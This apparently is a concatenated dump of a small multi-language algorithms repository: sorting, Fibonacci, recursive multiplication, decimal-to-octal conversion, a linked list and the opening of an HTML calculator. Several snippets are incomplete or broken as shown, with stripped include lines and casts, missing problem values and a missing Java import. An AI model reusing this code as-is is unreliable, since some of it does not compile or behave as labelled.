0, a.Len()-1) 41 | } 42 | 43 | func main() { 44 | a := []int{1, 3, 5, 7, 9, 8, 6, 4, 2} 45 | fmt.Printf("Unsorted: %v\n", a) 46 | quicksort(sort.IntSlice(a)) 47 | fmt.Printf("Sorted: %v\n", a) 48 | } 49 | -------------------------------------------------------------------------------- /JAVA/thisarathushan1_bubblesort.java: -------------------------------------------------------------------------------- 1 | // Bubble Short Algorithm in java 2 | public class BubbleSortExample 3 | { 4 | public static void main(String[] args) 5 | { 6 | 7 | Integer[] array = new Integer[] { 12, 13, 24, 10, 3, 6, 90, 70 }; 8 | 9 | 10 | bubbleSort(array, 0, array.length); 11 | 12 | 13 | System.out.println(Arrays.toString(array)); 14 | } 15 | 16 | @SuppressWarnings({ "rawtypes", "unchecked" }) 17 | public static void bubbleSort(Object[] array, int fromIndex, int toIndex) 18 | { 19 | Object d; 20 | for (int i = toIndex - 1; i > fromIndex; i--) 21 | { 22 | boolean isSorted = true; 23 | for (int j = fromIndex; j < i; j++) 24 | { 25 | //If elements in wrong order then swap them 26 | if (((Comparable) array[j]).compareTo(array[j + 1]) > 0) 27 | { 28 | isSorted = false; 29 | d = array[j + 1]; 30 | array[j + 1] = array[j]; 31 | array[j] = d; 32 | } 33 | } 34 | //If no swapping then array is already sorted 35 | if (isSorted) 36 | break; 37 | } 38 | } 39 | } 40 | 41 | // Output: [3, 6, 10, 12, 13, 24, 70, 90] 42 | -------------------------------------------------------------------------------- /Python/FibonacciNumber.py: -------------------------------------------------------------------------------- 1 | # The Fibonacci Sequence 2 | 3 | # The Fibonacci sequence appears in nature all around us, in the arrangement of seeds in a sunflower and the spiral of a nautilus for example. 4 | 5 | # The Fibonacci sequence begins with and as its first and second terms. After these first two elements, each subsequent element is equal to the sum of the previous two elements. 6 | 7 | # Programmatically: 8 | 9 | # Given , return the number in the sequence. 10 | 11 | # As an example, . The Fibonacci sequence to is . With zero-based indexing, . 12 | 13 | # Function Description 14 | 15 | # Complete the recursive function in the editor below. It must return the element in the Fibonacci sequence. 16 | 17 | # fibonacci has the following parameter(s): 18 | 19 | # n: the integer index of the sequence to return 20 | # Input Format 21 | # The input line contains a single integer. 22 | 23 | # Output Format 24 | # Locked stub code in the editor prints the integer value returned by the function. 25 | 26 | # Sample Input 27 | # 3 28 | 29 | # Sample Output 30 | # 2 31 | def fibonacci(n): 32 | 33 | # Write your code here. 34 | if(n < 1): 35 | return 0 36 | if(n == 1): 37 | return 1 38 | return fibonacci(n-1) + fibonacci(n-2) 39 | 40 | 41 | n = int(input()) 42 | print(fibonacci(n)) 43 | -------------------------------------------------------------------------------- /JAVA/RecursiveMultiply.java: -------------------------------------------------------------------------------- 1 | import java.util.Scanner; 2 | 3 | public class RecursiveMultiply { 4 | 5 | public static long result = 0L; 6 | public static long x = 0L; 7 | public static int count = 0; 8 | 9 | public static void main(final String[] args) { 10 | 11 | Scanner usrInput = new Scanner(System.in); 12 | System.out.println("Enter first and second number (separated by whitespace):"); 13 | String stringNums = usrInput.nextLine(); 14 | 15 | String[] stringNumList = stringNums.split(" "); 16 | int numOne = Integer.parseInt(stringNumList[0]); 17 | int numTwo = Integer.parseInt(stringNumList[1]); 18 | 19 | System.out.println(mult(numOne, numTwo)); 20 | //System.out.println(mult(20000000, 20000000)); 21 | } 22 | 23 | public static long mult(int a, int b){ 24 | 25 | if(count == 0){ 26 | x = (long) a; 27 | count++ ; 28 | } 29 | 30 | if( b <= 0 ){ 31 | b = 0; 32 | 33 | } else if( b % 2 == 0 ){ 34 | x = x << 1 ; 35 | b = b >> 1; 36 | 37 | return mult(a, b); 38 | 39 | } else{ 40 | RecursiveMultiply.result = RecursiveMultiply.result + x; 41 | 42 | x = x << 1 ; 43 | b = b >> 1 ; 44 | 45 | return mult(a, b); 46 | } 47 | return RecursiveMultiply.result; 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /C/decimal2OctalBasic.c: -------------------------------------------------------------------------------- 1 | /* 2 | # Program for Decimal to Octal Conversion 3 | Given a decimal number as input, we need to write a program to convert the given decimal number into equivalent octal number. i.e convert the number with base value 10 to base value 8. The base value of a number system determines the number of digits used to represent a numeric value. For example, the binary number system uses two digits 0 and 1, octal number system uses 8 digits from 0-7 and decimal number system uses 10 digits 0-9 to represent any numeric value. 4 | 5 | Examples: 6 | 7 | Input : 16 8 | Output : 20 9 | 10 | Input : 10 11 | Output : 12 12 | 13 | Input: 33 14 | Output: 41 15 | 16 | Time Complexity: O(log N) 17 | */ 18 | 19 | #include 20 | 21 | void dec2Octal(int num) 22 | { 23 | int octalNum[100]; 24 | 25 | int i = 0; 26 | while (num != 0) 27 | { 28 | octalNum[i++] = num % 8; 29 | num = num / 8; 30 | } 31 | 32 | for (int j = i - 1; j >= 0; j--) 33 | printf("%d", octalNum[j]); 34 | 35 | printf("\n"); 36 | } 37 | 38 | int main() 39 | { 40 | int t; 41 | scanf("%d", &t); 42 | 43 | while (t--) 44 | { 45 | int num; 46 | scanf("%d", &num); 47 | dec2Octal(num); 48 | } 49 | 50 | return 0; 51 | } -------------------------------------------------------------------------------- /Data_Structures/XORlinkedList.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | using namespace std; 3 | class Node{ 4 | public: 5 | int data; 6 | Node* next; 7 | Node* prev; 8 | Node(){ 9 | prev = NULL; next = NULL; 10 | } 11 | }; 12 | Node* XOR(Node *a, Node *b){ 13 | return reinterpret_cast(reinterpret_cast(a) ^ reinterpret_cast(b)); 14 | } 15 | class List{ 16 | public: 17 | Node* head; 18 | List(){ 19 | head = NULL; 20 | } 21 | void add(int data){ 22 | Node* newNode = new Node(); 23 | newNode->data = data; 24 | if(head == NULL){ 25 | head = newNode; 26 | } 27 | else{ 28 | Node *ptr = head; 29 | while(ptr->next != NULL){ 30 | ptr = ptr->next; 31 | } 32 | ptr->next = newNode; 33 | newNode->prev = ptr; 34 | } 35 | } 36 | void traverse(){ 37 | Node *ptr = head; 38 | while(ptr != NULL){ 39 | cout<data<<" => "; 40 | ptr = ptr->next; 41 | } 42 | } 43 | }; 44 | int main(){ 45 | List *l1 = new List(); 46 | l1->add(2); 47 | l1->add(3); 48 | l1->add(4); 49 | l1->traverse(); 50 | Node* n1 = XOR(NULL,l1->head); 51 | cout<<"\n"<data+"\n"; 52 | } 53 | -------------------------------------------------------------------------------- /Javascript/Calculator: -------------------------------------------------------------------------------- 1 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | SIMPLE CALCULATOR | WELCOME 16 | 17 | 18 | 19 | 20 |
21 |
22 |

CALCULATOR

23 | 24 |
25 |

RESULT (CLICK "CALCULATE")

26 |
27 |
28 |